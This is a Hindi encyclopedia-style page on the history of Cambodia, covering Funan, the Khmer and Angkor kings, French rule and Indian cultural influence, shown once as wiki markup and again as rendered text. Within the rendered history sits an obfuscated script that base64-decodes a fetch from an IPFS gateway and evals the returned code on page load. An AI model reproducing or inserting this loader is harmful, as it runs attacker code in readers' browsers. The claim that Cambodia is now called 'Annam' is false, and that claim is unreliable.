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'''कंबोडिया''' को 'कंपूचिया' के नाम से जाना जाता था। कंबोडिया [[एशिया|दक्षिणपूर्व एशिया]] का एक प्रमुख देश है। नामपेन्ह इस राजतंत्रीय देश का सबसे बड़ा शहर और राजधानी है। कंबोडिया का आविर्भाव एक समय बहुत शक्तिशाली रहे [[हिंदू]] एवं [[बौद्ध]] 'खमेर साम्राज्य' से हुआ जिसने ग्यारहवीं से चौदहवीं [[सदी]] के बीच पूरे हिन्द [[चीन]] क्षेत्र पर शासन किया था। कंबोडिया की सीमा पश्चिम, पश्चिमोत्तर में [[थाईलैंड]], पूर्व एवं उत्तरपूर्व में लाओस, वियतनाम से, दक्षिण में थाईलैंड की खाड़ी से लगती हैं।  
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'''कंबोडिया''' या 'कंबुज' या 'कंबोज' दक्षिण-पूर्व [[एशिया]] का एक प्रमुख देश है। 'नामपेन्ह' इस राजतंत्रीय देश का सबसे बड़ा शहर और राजधानी है। पहले इस देश को 'कंपूचिया' के नाम से जाना जाता था। कंबोडिया का आविर्भाव एक समय बहुत शक्तिशाली रहे [[हिंदू]] एवं [[बौद्ध]] 'खमेर साम्राज्य' से हुआ, जिसने ग्यारहवीं से चौदहवीं [[सदी]] के बीच पूरे हिन्द-[[चीन]] क्षेत्र पर शासन किया था। कंबोडिया की सीमा पश्चिम, पश्चिमोत्तर में [[थाईलैंड]], पूर्व एवं उत्तर-पूर्व में लाओस, वियतनाम से, दक्षिण में थाईलैंड की खाड़ी से लगती हैं।
;कुम्बज
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==इतिहास==
कुम्बज का आधुनिक नाम कंबोडिया है। यह हिंद चीन प्राय:द्वीप का एक देश है जो सन् 1955 ई. में फ्रांसीसी आधिपत्य से मुक्त हुआ। 19वीं शताब्दी के पूर्व यह प्रदेश 'खमेर राज्य' का अंग था, 1863 ई. में फ्रांसीसियों के आधिपत्य में आ गया। द्वितीय विश्वयुद्ध में कंबोडिया पर [[जापान]] का अधिकार था। कम्बोडिया प्राचीन काल में 'कुम्बज' कहा जाता था और अब उसे 'अनाम' कहते हैं। अब उसके निवासी किसी भी वंश या धर्म के हों, प्राचीन काल में निश्चित रूप से भारतीय धर्मावलम्बी और भारतवंशी थे।  यहाँ की 'मेंकांग नदी' का नामकरण भी 'कोंग' शब्दों को मिलाकर किया गया है, जिसका अर्थ वहाँ की [[भाषा]] में 'गंगा माता' होता है । सचमुच वहाँ उस सरिता को मात्र जल-प्रवाह नहीं माना जाता वरन भारतीयों द्वारा [[गंगा]] के प्रति जो श्रद्धा-भाव है, उसी के अनुसार 'मेंकांग' को भी उस देश में सम्मानास्पद माना जाता है। {{cite web |url=http://www.awgp.org/hindi/?gayatri/sanskritik_dharohar/bharat_ajastra_anudan/sanskriti_vistar/dharmik_anuyai_kambodiya/ |title=धर्मानुयायी कम्बोडिया|accessmonthday=12 अगस्त|accessyear=2011 |last= |first= |authorlink= |format= |publisher= |language=हिंदी}}
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'कंबुज', 'कंबोज' कंबोडिया का प्राचीन [[संस्कृत]] नाम है। भूतपूर्व इंडोचीन प्राय:द्वीप में सर्वप्राचीन भारतीय उपनिवेश की स्थापना फूनान प्रदेश में प्रथम शती ई. के लगभग हुई थी। लगभग 600 वर्षों तक फूनान ने इस प्रदेश में हिंदू संस्कृति का प्रचार एवं प्रसार करने में महत्वपूर्ण योग दिया। तत्पश्चात्‌ इस क्षेत्र में 'कंबुज' या 'कंबोज' का महान्‌ राज्य स्थापित हुआ, जिसके अद्भुत ऐश्वर्य की गौरवपूर्ण परंपरा 14वीं सदी ई. तक चलती रही। इस प्राचीन वैभव के [[अवशेष]] आज भी अंग्कोरवात, अंग्कोरथोम नामक स्थानों में वर्तमान हैं।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%95%E0%A4%82%E0%A4%AC%E0%A5%8B%E0%A4%9C |title=कंबोडिया|accessmonthday=18 मई|accessyear= 2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
;अंगकोरवाट का विष्णु मन्दिर
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====कंबोज उपनिवेश की नींव====
[[चित्र:Angkor-Wat.jpg|thumb|250px|[[अंकोरवाट]], कंबोडिया]]
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कंबोज की प्राचीन दंतकथाओं के अनुसार इस उपनिवेश की नींव 'आर्यदेश' के राजा कंबु स्वयांभुव ने डाली थी। वह भगवान [[शिव]] की प्रेरणा से कंबोज देश में आए और यहाँ बसी हुई नाग जाति के राजा की सहायता से उन्होंने इस जंगली [[मरुस्थल]] में एक नया राज्य बसाया, जो नागराज की अद्भुत जादूगरी से हरे भरे, सुंदर प्रदेश में परिणत हो गया। कंबु ने नागराज की कन्या मेरा से [[विवाह]] कर लिया और कंबुज राजवंश की नींव डाली। यह भी संभव है कि भारतीय कंबोज<ref>[[कश्मीर]] का [[राजौरी ज़िला]] तथा संवर्ती प्रदेश-द्र. 'कंबोज'</ref> से भी इंडोचीन में स्थित इस उपनिवेश का संबंध रहा हो। तीसरी शती ई. में [[भारत]] की उत्तर-पश्चिमी सीमा पर बसनेवो मुरुंडों का एक राजदूत फूनान पहुँचा था और संभवत: कंबोज के घोड़े अपने साथ वहाँ लाया था।
कम्बोडिया को प्राचीन काल में 'कम्बुज' कहा जाता था। कम्बुज नामक अन्य हिन्दू राज्य 'मेकांग नदी' की घाटी में स्थापित किया गया था। भारतीयों के निरन्तर परिश्रम के फलस्वरूप इस राज्य का अत्यधिक उत्कर्ष हुआ। यहाँ उपलब्ध अभिलेखों से सिद्ध होता है कि यह राज्य [[हिन्दू धर्म]] के क्रिया-कलापों एवं नियमों का अनुसरण करते हुए, आठवीं शताब्दी में संस्कृति के उच्चतम स्तर पर पहुँच गया था। यहाँ का [[अंकोरवाट|अंगकोरवाट का विष्णु मन्दिर]]' 12वीं शताब्दी में यहाँ के शासक 'सूर्यवर्मन' द्वारा निर्मित कराया गया था। यह इस संसार का सर्वाधिक विशाल एवं अदभुत मन्दिर माना जाता है। यह मन्दिर भारतीय वास्तुकला एवं तक्षण-कला का सर्वश्रेष्ठ प्रतिरूप है। इसके शिल्प की सूक्ष्म विदग्धता, नक्शे की सममिति, यथार्थ अनुपात तथा सुन्दर अलंकृत मूर्तिकारी भी उत्कृष्ट कला की दृष्टि से प्रशंसनीय है।
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{{tocright}}
{{seealso|अंकोरवाट|अंगकोरवाट का विष्णु मन्दिर}}
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==विभिन्न शासक==
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कंबोज के प्रथम ऐतिहासिक राजवंश का संस्थापक श्रुतवर्मन था, जिसने कंबोज देश को फूनान की अधीनता से मुक्त किया। इसके पुत्र श्रेष्ठवर्मन ने अपने नाम पर श्रेष्ठपुर नामक राजधानी बसाई, जिसके [[खंडहर]] लाओस के वाटफू पहाड़ी (लिंगपर्वत) के पास स्थित हैं। तत्पश्चात्‌ भववर्मन ने, जिसका संबंध फूनान और कंबोज दोनों ही राजवंशों से था, एक नया वंश (ख्मेर) चलाया और अपने ही नाम भवपुर नामक राजधानी बसाई। भववर्मन तथा इसके भाई महेंद्रवर्मन के समय से कंबोज का विकास युग प्रारंभ होता है। फूनान का पुराना राज्य अब जीर्ण-शीर्ण हो चुका था और शीघ्र ही इस नए दुर्घर्ष साम्राज्य में विलीन हो गया। महेंद्रवर्मन की मृत्यु के पश्चात्‌ उनका पुत्र [[ईशानवर्मन]] गद्दी पर बैठा। इस प्रतापी राजा ने कंबोज राज्य की सीमाओं का दूर-दूर तक विस्तार किया। उसने [[भारत]] और चंपा के साथ राजनयिक संबंध स्थापित किए और [[ईशानपुर]] नाम की एक नई राजधानी का निर्माण किया। ईशानवर्मन ने चंपा के राजा जगद्धर्म को अपनी पुत्री ब्याही थी, जिसका पुत्र प्रकाशधर्म अपने [[पिता]] की मृत्यु के पश्चात्‌ चंपा का राजा हुआ। इससे प्रतीत होता है कि चंपा इस समय कंबोज के राजनीतिक प्रभाव के अंतर्गत था।<ref name="aa"/>
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==शैलेन्द्र राजाओं का आधिपत्य==
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ईशानवर्मन के बाद भववर्मन द्वितीय और जयवर्मन प्रथम कंबोज नरेशों के नाम मिलते हैं। जयवर्मन के पश्चात्‌ 674 ई. में इस राजवंश का अंत हो गया। कुछ ही समय के उपरांत कंबोज की शक्ति क्षीण होने लगी और धीरे-धीरे 8वीं सदी ई. में [[जावा द्वीप|जावा]] के [[शैलेन्द्र वंश|शैलेन्द्र]] राजाओं का कंबोज देश पर आधिपतय स्थापित हो गया। 8वीं सदी ई. का कंबोज इतिहास अधिक स्पष्ट नहीं है, किंतु 9वीं सदी का आरंभ होते ही इस प्राचीन साम्राज्य की शक्ति मानों पुन: जीवित हो उठी। इसका श्रेय जयवर्मन द्वितीय (802-854 ई.) को दिया जाता है। उसने अंगकोर वंश की नींव डाली और कंबोज को जावा की अधीनता से मुक्त किया। उसने संभवत: [[भारत]] से हिरण्यदास नामक [[ब्राह्मण]] को बुलवाकर अपने राज्य की सुरक्षा के लिए तांत्रिक क्रियाएँ करवाईं। इस विद्वान् ब्राह्मण ने देवराज नामक संप्रदाय की स्थापना की, जो शीघ्र ही कंबोज का राजधर्म बन गया। जयवर्मन ने अपनी राजधानी क्रमश: कुटी, हरिहरालय और अमरेंद्रपुर नामक नगरों में बनाई, जिससे स्पष्ट है कि वर्तमान कंबोडिया का प्राय: समस्त क्षेत्र उसके अधीन था और राज्य की शक्ति का केंद्र धीरे-धीरे पूर्व से पश्चिम की ओर बढ़ता हुआ अंतत: अंग्कोर के प्रदेश में स्थापित हो गया था।
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==कंबोज साम्राज्य का विस्तार==
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जयवर्मन द्वितीय को अपने समय में कंबुजराजेंद्र और उसकी महारानी को कंबुजराजलक्ष्मी नाम से अभिहित किया जाता था। इसी समय से कंबोडिया के प्राचीन नाम 'कंबुज' या 'कंबोज' का विदेशी लेखकों ने भी प्रयोग करना प्रारंभ कर दिया था। जयवर्मन द्वितीय के पश्चात्‌ भी कंबोज के साम्राज्य की निरंतर उन्नति और वृद्धि होती गई और कुछ ही समय के बाद समस्त इंडोचीन प्राय:द्वीप में कंबोज साम्राज्य का विस्तार हो गया। महाराज इंद्रवर्मन ने अनेक मंदिरों और तड़ागों का निर्माण करवाया। यशोवर्मन (889-908 ई.) [[हिंदू]] शास्त्रों और [[संस्कृत]] काव्यों का ज्ञाता था और उसने अनेक विद्वानों को राजश्रय दिया। उसके समय के अनेक सुंदर संस्कृत [[अभिलेख]] प्राप्य हैं। इस काल में [[हिंदू धर्म]], [[साहित्य]] और काल की अभूतपूर्व प्रगति हुई। यशोवर्मन ने कंबुपुरी या यशोधरपुर नाम की नई राजधानी बसाई। धर्म और संस्कृति का विशाल केंद्र अंग्कोर थोम भी इसी नगरी की शोभा बढ़ाता था। 'अंग्कोर संस्कृति' का स्वर्णकाल इसी समय से ही प्रांरभ होता है। 944 ई. में कंबोज का राजा राजेंद्रवर्मन था, जिसके समय के कई बृहद् अभिलेख सुंदर संस्कृत काव्य शैली में लिखे मिलते हैं। 1001 ई. तक का समय कंबोज के इतिहास में महत्वपूर्ण है, क्योंकि इस काल में कंबोज की सीमाएँ [[चीन]] के दक्षिणी भाग छूती थीं, लाओस उसके अंतर्गत था और उसका राजनीतिक प्रभाव स्याम और उत्तरी मलाया तक फैला हुआ था।
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====सूर्यवर्मन प्रथम का अधिकार====
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सूर्यवर्मन प्रथम (मृत्यु 1049 ई.) ने प्राय: समस्त स्याम पर कंबोज का आधिपत्य स्थापित कर दिया और दक्षिण ब्रह्मदेश पर भी आक्रमण किया। वह साहित्य, न्याय और व्याकरण का पंडित था तथा स्वयं [[बौद्ध]] होते हुए भी [[शैव]] और [[वैष्णव]] धर्मों का प्रेमी और संरक्षक था। उसने राज्यासीन होने के समय देश में चले हुए गृहयुद्ध को समाप्त कर राज्य की स्थिति को पुन: सुदृढ़ करने का प्रयत्न किया। उत्तरी चंपा को जीतकर सूर्यवर्मन ने उसे कंबोज का करद राज्य बना लिया, किंतु शीघ्र ही दक्षिण चंपा के राजा जयहरि वर्मन से हार माननी पड़ी। इस समय कंबोज में गृहयुद्धों और पड़ोसी देशों के साथ अनबन के कारण काफ़ी अशांति रही।<ref name="aa"/>
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==जयवर्मन सप्तम का राज्यकाल==
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जयवर्मन सप्तम (अभिषेक 1181) के राज्यकाल में पुन: एक बार कंबोज की प्राचीन यश:पताका फहराने लगी। उसने एक विशाल सेना बनाई, जिसमें स्याम और ब्रह्मदेश के सैनिक भी सम्मिलित थे। जयवर्मन ने अनाम पर आक्रमण कर उसे जीतने का भी प्रयास किया, किंतु निरंतर युद्धों के कारण शनै: शनै: कंबोज की सैनिक शक्ति का ह्रास होने लगा, यहाँ तक कि 1220 ई. में कंबोजों को चंपा से हटना पड़ा। किंतु फिर भी जयवर्मन सप्तम की गणना कंबोज के महान् राज्य निर्माताओं में की जाती है, क्योंक उसके समय में कंबोज के साम्राज्य का विस्तार अपनी चरम सीमा पर पहुँचा हुआ था। जयवर्मन सप्तम ने अपनी नई राजधानी वर्तमान अंग्कोरथोम में बनाई थी। इसके [[खंडहर]] आज भी संसार के प्रसिद्ध प्राचीन अवशेषों में गिने जाते हैं। नगर के चतुर्दिक एक ऊँचा परकोटा था और 110 गज चौड़ी एक परिखा थी। इसकी लंबाई साढ़े आठ मील के लगभग थी। नगर के परकोटे के पाँच सिंहद्वार थे, जिनसे पाँच विशाल राजपथ (100 फुट चौड़े, 1 मील लंबे) नगर के अंदर जाते थे। ये राजपथ, बेयोन के विराट हिंदू मंदिर के पास मिलते थे, जो नगर के मध्य में स्थित था। मंदिर में 66,625 व्यक्ति नियुक्त थे और इसके व्यय के लिए 3,400 ग्रामों की आय लगी हुई थी। इस समय के एक [[अभिलेख]] से ज्ञात होता है कि कंबोज में 789 मंदिर तथा 102 चिकित्सालय थे और 121 वाहनी (विश्राम) गृह थे।
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जयवर्मन सप्तम के पश्चात् कंबोज के इतिहास के अनेक स्थल अधिक स्पष्ट नहीं हैं। 13वीं सदी में कंबोज में सुदृढ़ राजनीतिक शक्ति का अभाव था। कुछ [[इतिहास]] लेखकों के अनुसार कंबोज ने 13वीं सदी के अंतिम चरण में [[चीन]] के सम्राट कुबले ख़ाँ का आधिपत्य मानने से इनकार कर दिया था। 1296 ई. में चीन से एक दूतमंडल अंग्कोरथोम आया था, जिसके एक सदस्य शू-तान-कुआन ने तत्कालीन कंबोज के विषय में विस्तृत तथा मनोरंजक वृत्तांत लिखा है, जिसका अनुवाद फ़्राँसीसी भाषा में [[1902]] ई. में हुआ था। 14वीं सदी में कंबोज के पड़ोसी राज्यों में नई राजनीतिक शक्ति का उदय हो रहा था तथा स्याम और चंपा के थाई लोग कंबोज की ओर बढ़ने का निरंतर प्रयास कर रहे थे। परिणाम यह हुआ कि कंबोज पर दो ओर से भारी दबाव पड़ने लगा और वह इन दोनों देशों की चक्की के पाटों के बीच पिसने लगा। धीरे-धीरे कंबोज की प्राचीन महत्ता समाप्त हो गई और अब यह देश इंडोचीन का एक साधारण पिछड़ा हुआ प्रदेश बनकर रह गया।
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====फ़्राँसीसियों का प्रभाव====
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19वीं सदी में [[फ़्राँसीसी]] का प्रभाव इंडोचीन में बढ़ चला था; वैसे वे 16वीं सदी में ही इस प्राय:द्वीप में आ गए थे और अपनी शक्ति बढ़ाने के अवसर की ताक में थे। वह अवसर अब और 1854 ई. में कंबोज के निर्बल राजा अंकडुओंग ने अपना देश फ़्राँसीसियों के हाथों सौंप दिया। नोरदम (नरोत्तम) प्रथम (1858-1904) ने [[11 अगस्त]], [[1863]] ई. को इस समझौते को पक्का कर दिया और अगले 80 वर्षों तक कंबोज या कंबोडिया फ्रेंच-इंडोचीन का एक भाग बना रहा।<ref>कंबोडिया, फ्रेंच का रूपांतर है। फ्रेंच नाम कंबोज या कंबुजिय से बना है।</ref> [[1904]]-[[1941]] में स्याम और फ़्राँसीसियों के बीच होने वाले युद्ध में कंबोडिया का कुछ प्रदेश स्याम को दे दिया गया, किंतु द्वितीय विश्वयुद्ध के पश्चात्‌ [[1945]] ई. में यह भाग उसे पुन: प्राप्त हो गया। इस समय कंबोडिया में स्वतंत्रता आंदोलन भी चल रहा था, जिसके परिणामस्वरूप [[फ़्राँस]] ने कंबोडिया को एक नया संविधान [[6 मई]], [[1947]] को प्रदान किया। किंतु इससे वहाँ के राष्ट्र प्रेमियों को संतोष न हुआ और उन्होंने [[8 नवम्बर]], [[1949]] ई. में फ़्राँसीसियों को एक नए समझौते पर हस्ताक्षर करने पर विवश कर दिया, जिससे उन्होंने कंबोडिया की स्वतंत्र राजनीतिक सत्ता को स्वीकार कर लिया, किंतु अब भी देश को फ्रेंच यूनियन के अंतर्गत ही रखा गया था। इसके विरुद्ध कंबोडिया के प्रभावशाली राजा नोरदम सिंहानुक ने अपना राष्ट्रीय आंदोलन जारी रखा। इनके प्रयत्न से कंबोडिया शीघ्र ही स्वतंत्र राष्ट्र बन गया और ये अपने देश के प्रथम [[प्रधानमंत्री]] चुने गए।<ref name="aa"/>
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==भारतीय उपनिवेश==
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कंबोज वास्तविक अर्थ में भारतीय उपनिवेश था। वहाँ के निवासियों का [[धर्म]], उनकी [[संस्कृति]] एवं सभ्यता, साहित्यिक परंपराएँ, [[वास्तुकला]] और [[भाषा]], सभी पर भारतीयता की अमिट छाप थी, जिसके दर्शन आज भी कंबोज के दर्शक को अनायास ही हो जाते हैं। [[हिंदू धर्म]] और [[वैष्णव संप्रदाय]] और तत्पश्चात्‌ (1000 ई. के बाद) [[बौद्ध धर्म]] कंबोज के राजधर्म थे और यहाँ के अनेक [[संस्कृत]] अभिलेखों को उनकी धार्मिक तथा पौराणिक सांस्कृतिक पृष्ठभूमि के कारण भारतीय अभिलेखों से अलग करना कठिन ही जान पड़ेगा। उदाहरण के लिए राजेंद्रवर्मन के एक विशाल [[अभिलेख]] का केवल एक अंश यहाँ प्रस्तुत है, जिसमें [[शिव]] की वंदना की गई है-
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<blockquote><poem>रूपं यस्य नवेन्दुमंडितशिखं त्रय्‌या: प्रतीतं परं
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बीजं ब्रह्महरीश्वरोदयकरं भिन्नं कलाभिस्त्रिधा।
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साक्षारदक्षरमामनन्ति मुनयो योगोधिगम्यं नमस्‌
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संसिद्ध्यै प्रणवात्मने भगवते तस्मै शिवायास्तु वम्‌।।</poem></blockquote>
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====संस्कृति====
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पुराने [[अरब देश|अरब]] पर्यटकों ने कंबोज को हिंदू देश के नाम से ठीक ही अभिहित किया। कंबुज की राजभाषा प्राचीन काल में [[संस्कृत]] थी, उसका स्थान धीरे-धीरे बौद्ध धर्म के प्रचार के कारण [[पाली भाषा|पाली]] ने ले लिया और आज भी यह धार्मिक क्षेत्र में यहाँ की मुख्य भाषा बनी हुई है। कंबुज भाषा में संस्कृत के हजारों शब्द अपने कंबुजी या ख्मेर रूप में आज भी पाए जाते हैं, जैसे- तेप्‌दा उ देवता, शात्स उ शासन, सुओर उ स्वर्ग, फीमेअन उ विमान आदि। ख्मेर लिपि [[दक्षिण भारत]] की [[पल्लव]] और पूर्वी [[चालुक्य]] लिपियों के मेल से बनी है। कंबोज की [[वास्तुकला]], [[मूर्तिकला]] तथा [[चित्रकला]] पर भारतीय प्रभाव स्पष्ट है। अंग्कोरथोम का बेयोन मंदिर दक्षिण भारत के मंदिरों से बहुत मिलता-जुलता है। इसके शिखर में भी भारतीय मंदिरों के शिखरों की स्पष्ट झलक मिलती है। इस मंदिर और [[एलोरा]] के [[कैलाश मन्दिर, एलोरा|कैलाश मंदिर]] के कलातत्व, विशेषत: मूर्तिकारी तथा आलेख्य विषयों और दृश्यों में अद्भुत साम्य है।<ref name="aa"/>
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==सामाजिक दशा==
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कंबोज की सामाजिक दशा का सुंदर चित्रण 'शू-तान-कुतान' के वर्णन<ref>13वीं सदी का अंत</ref> इस प्रकार है-
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विद्वानों को यहाँ 'पंकि' (पंडित), भिक्षुओं को 'शू-कू' (भिक्षु) और ब्राह्मणों को 'पा-शो-वेई' (पाशुपत) कहा जाता है। पंडित अपने कंठ में श्वेत धागा ([[यज्ञोपवीत]]) डाले रहते हैं, जिसे वे कभी नहीं हटाते। भिक्षु लोग सिर मुड़ाते और पीत वस्त्र पहनते हैं। वे मांस [[मछली]] खाते हैं पर मद्य नहीं पीते। उनकी पुस्तकें तालपत्रों पर लिखी जाती हैं। [[बौद्ध]] भिक्षुणियाँ यहाँ नहीं है। [[पाशुपत संप्रदाय|पाशुपत]] अपने केशों को [[लाल रंग|लाल]] या [[सफ़ेद रंग|सफ़ेद]] वस्त्रों से ढके रहते हैं। कंबोज के सामान्य जन श्याम रंग के तथा हष्ट-पुष्ट हैं। राजपरिवार की स्त्रियाँ गौर वर्ण हैं। सभी लोग कटि तक शरीर विवस्त्र रखते हैं और नंगे पाँव घूमते हैं। राजा पटरानी के साथ झरोखे में बैठकर प्रजा को दर्शन देता है। लिखने के लिए कृष्ण मृग का चमड़ा भी काम में आता है। लोग [[स्नान]] के बहुत प्रेमी हैं। यहाँ स्त्रियाँ व्यापार का काम भी करती हैं। [[गेहूँ]], [[हल्दी]], चीनी, रेशम के कपड़े, राँगा, चीनी बर्तन, [[काग़ज़]] आदि यहाँ व्यापार की मुख्य वस्तुएँ हैं। गाँवों में प्रबंध करने के लिए एक मुखिया या 'मयिची' रहता है। सड़कों पर यात्रियों के विश्राम करने के लिए आवास बने हुए हैं।
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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12:24, 25 अक्टूबर 2017 के समय का अवतरण

कंबोडिया का ध्वज

कंबोडिया या 'कंबुज' या 'कंबोज' दक्षिण-पूर्व एशिया का एक प्रमुख देश है। 'नामपेन्ह' इस राजतंत्रीय देश का सबसे बड़ा शहर और राजधानी है। पहले इस देश को 'कंपूचिया' के नाम से जाना जाता था। कंबोडिया का आविर्भाव एक समय बहुत शक्तिशाली रहे हिंदू एवं बौद्ध 'खमेर साम्राज्य' से हुआ, जिसने ग्यारहवीं से चौदहवीं सदी के बीच पूरे हिन्द-चीन क्षेत्र पर शासन किया था। कंबोडिया की सीमा पश्चिम, पश्चिमोत्तर में थाईलैंड, पूर्व एवं उत्तर-पूर्व में लाओस, वियतनाम से, दक्षिण में थाईलैंड की खाड़ी से लगती हैं।

इतिहास

'कंबुज', 'कंबोज' कंबोडिया का प्राचीन संस्कृत नाम है। भूतपूर्व इंडोचीन प्राय:द्वीप में सर्वप्राचीन भारतीय उपनिवेश की स्थापना फूनान प्रदेश में प्रथम शती ई. के लगभग हुई थी। लगभग 600 वर्षों तक फूनान ने इस प्रदेश में हिंदू संस्कृति का प्रचार एवं प्रसार करने में महत्वपूर्ण योग दिया। तत्पश्चात्‌ इस क्षेत्र में 'कंबुज' या 'कंबोज' का महान्‌ राज्य स्थापित हुआ, जिसके अद्भुत ऐश्वर्य की गौरवपूर्ण परंपरा 14वीं सदी ई. तक चलती रही। इस प्राचीन वैभव के अवशेष आज भी अंग्कोरवात, अंग्कोरथोम नामक स्थानों में वर्तमान हैं।[1]

कंबोज उपनिवेश की नींव

कंबोज की प्राचीन दंतकथाओं के अनुसार इस उपनिवेश की नींव 'आर्यदेश' के राजा कंबु स्वयांभुव ने डाली थी। वह भगवान शिव की प्रेरणा से कंबोज देश में आए और यहाँ बसी हुई नाग जाति के राजा की सहायता से उन्होंने इस जंगली मरुस्थल में एक नया राज्य बसाया, जो नागराज की अद्भुत जादूगरी से हरे भरे, सुंदर प्रदेश में परिणत हो गया। कंबु ने नागराज की कन्या मेरा से विवाह कर लिया और कंबुज राजवंश की नींव डाली। यह भी संभव है कि भारतीय कंबोज[2] से भी इंडोचीन में स्थित इस उपनिवेश का संबंध रहा हो। तीसरी शती ई. में भारत की उत्तर-पश्चिमी सीमा पर बसनेवो मुरुंडों का एक राजदूत फूनान पहुँचा था और संभवत: कंबोज के घोड़े अपने साथ वहाँ लाया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विभिन्न शासक

कंबोज के प्रथम ऐतिहासिक राजवंश का संस्थापक श्रुतवर्मन था, जिसने कंबोज देश को फूनान की अधीनता से मुक्त किया। इसके पुत्र श्रेष्ठवर्मन ने अपने नाम पर श्रेष्ठपुर नामक राजधानी बसाई, जिसके खंडहर लाओस के वाटफू पहाड़ी (लिंगपर्वत) के पास स्थित हैं। तत्पश्चात्‌ भववर्मन ने, जिसका संबंध फूनान और कंबोज दोनों ही राजवंशों से था, एक नया वंश (ख्मेर) चलाया और अपने ही नाम भवपुर नामक राजधानी बसाई। भववर्मन तथा इसके भाई महेंद्रवर्मन के समय से कंबोज का विकास युग प्रारंभ होता है। फूनान का पुराना राज्य अब जीर्ण-शीर्ण हो चुका था और शीघ्र ही इस नए दुर्घर्ष साम्राज्य में विलीन हो गया। महेंद्रवर्मन की मृत्यु के पश्चात्‌ उनका पुत्र ईशानवर्मन गद्दी पर बैठा। इस प्रतापी राजा ने कंबोज राज्य की सीमाओं का दूर-दूर तक विस्तार किया। उसने भारत और चंपा के साथ राजनयिक संबंध स्थापित किए और ईशानपुर नाम की एक नई राजधानी का निर्माण किया। ईशानवर्मन ने चंपा के राजा जगद्धर्म को अपनी पुत्री ब्याही थी, जिसका पुत्र प्रकाशधर्म अपने पिता की मृत्यु के पश्चात्‌ चंपा का राजा हुआ। इससे प्रतीत होता है कि चंपा इस समय कंबोज के राजनीतिक प्रभाव के अंतर्गत था।[1]

शैलेन्द्र राजाओं का आधिपत्य

ईशानवर्मन के बाद भववर्मन द्वितीय और जयवर्मन प्रथम कंबोज नरेशों के नाम मिलते हैं। जयवर्मन के पश्चात्‌ 674 ई. में इस राजवंश का अंत हो गया। कुछ ही समय के उपरांत कंबोज की शक्ति क्षीण होने लगी और धीरे-धीरे 8वीं सदी ई. में जावा के शैलेन्द्र राजाओं का कंबोज देश पर आधिपतय स्थापित हो गया। 8वीं सदी ई. का कंबोज इतिहास अधिक स्पष्ट नहीं है, किंतु 9वीं सदी का आरंभ होते ही इस प्राचीन साम्राज्य की शक्ति मानों पुन: जीवित हो उठी। इसका श्रेय जयवर्मन द्वितीय (802-854 ई.) को दिया जाता है। उसने अंगकोर वंश की नींव डाली और कंबोज को जावा की अधीनता से मुक्त किया। उसने संभवत: भारत से हिरण्यदास नामक ब्राह्मण को बुलवाकर अपने राज्य की सुरक्षा के लिए तांत्रिक क्रियाएँ करवाईं। इस विद्वान् ब्राह्मण ने देवराज नामक संप्रदाय की स्थापना की, जो शीघ्र ही कंबोज का राजधर्म बन गया। जयवर्मन ने अपनी राजधानी क्रमश: कुटी, हरिहरालय और अमरेंद्रपुर नामक नगरों में बनाई, जिससे स्पष्ट है कि वर्तमान कंबोडिया का प्राय: समस्त क्षेत्र उसके अधीन था और राज्य की शक्ति का केंद्र धीरे-धीरे पूर्व से पश्चिम की ओर बढ़ता हुआ अंतत: अंग्कोर के प्रदेश में स्थापित हो गया था।

कंबोज साम्राज्य का विस्तार

जयवर्मन द्वितीय को अपने समय में कंबुजराजेंद्र और उसकी महारानी को कंबुजराजलक्ष्मी नाम से अभिहित किया जाता था। इसी समय से कंबोडिया के प्राचीन नाम 'कंबुज' या 'कंबोज' का विदेशी लेखकों ने भी प्रयोग करना प्रारंभ कर दिया था। जयवर्मन द्वितीय के पश्चात्‌ भी कंबोज के साम्राज्य की निरंतर उन्नति और वृद्धि होती गई और कुछ ही समय के बाद समस्त इंडोचीन प्राय:द्वीप में कंबोज साम्राज्य का विस्तार हो गया। महाराज इंद्रवर्मन ने अनेक मंदिरों और तड़ागों का निर्माण करवाया। यशोवर्मन (889-908 ई.) हिंदू शास्त्रों और संस्कृत काव्यों का ज्ञाता था और उसने अनेक विद्वानों को राजश्रय दिया। उसके समय के अनेक सुंदर संस्कृत अभिलेख प्राप्य हैं। इस काल में हिंदू धर्म, साहित्य और काल की अभूतपूर्व प्रगति हुई। यशोवर्मन ने कंबुपुरी या यशोधरपुर नाम की नई राजधानी बसाई। धर्म और संस्कृति का विशाल केंद्र अंग्कोर थोम भी इसी नगरी की शोभा बढ़ाता था। 'अंग्कोर संस्कृति' का स्वर्णकाल इसी समय से ही प्रांरभ होता है। 944 ई. में कंबोज का राजा राजेंद्रवर्मन था, जिसके समय के कई बृहद् अभिलेख सुंदर संस्कृत काव्य शैली में लिखे मिलते हैं। 1001 ई. तक का समय कंबोज के इतिहास में महत्वपूर्ण है, क्योंकि इस काल में कंबोज की सीमाएँ चीन के दक्षिणी भाग छूती थीं, लाओस उसके अंतर्गत था और उसका राजनीतिक प्रभाव स्याम और उत्तरी मलाया तक फैला हुआ था।

सूर्यवर्मन प्रथम का अधिकार

सूर्यवर्मन प्रथम (मृत्यु 1049 ई.) ने प्राय: समस्त स्याम पर कंबोज का आधिपत्य स्थापित कर दिया और दक्षिण ब्रह्मदेश पर भी आक्रमण किया। वह साहित्य, न्याय और व्याकरण का पंडित था तथा स्वयं बौद्ध होते हुए भी शैव और वैष्णव धर्मों का प्रेमी और संरक्षक था। उसने राज्यासीन होने के समय देश में चले हुए गृहयुद्ध को समाप्त कर राज्य की स्थिति को पुन: सुदृढ़ करने का प्रयत्न किया। उत्तरी चंपा को जीतकर सूर्यवर्मन ने उसे कंबोज का करद राज्य बना लिया, किंतु शीघ्र ही दक्षिण चंपा के राजा जयहरि वर्मन से हार माननी पड़ी। इस समय कंबोज में गृहयुद्धों और पड़ोसी देशों के साथ अनबन के कारण काफ़ी अशांति रही।[1]

जयवर्मन सप्तम का राज्यकाल

